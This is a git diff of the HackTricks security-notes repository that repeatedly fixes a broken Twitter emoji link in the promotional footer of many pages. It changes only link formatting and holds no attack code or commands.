* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -88,7 +88,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -59,7 +59,7 @@ The switch configuration **10.10.100.10** will be in the **tftp/** folder
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -27,7 +27,7 @@ For more information check:
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -63,7 +63,7 @@ Find full exploit in [https://github.com/horizon3ai/CVE-2021-38647](https://gith
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -65,7 +65,7 @@ PORT STATE SERVICE
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -144,7 +144,7 @@ Entry_2:
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -312,7 +312,7 @@ Entry_7:
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -39,7 +39,7 @@ Table taken from the [**docs**](https://learn.microsoft.com/en-us/sql/relational
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -170,7 +170,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -118,7 +118,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue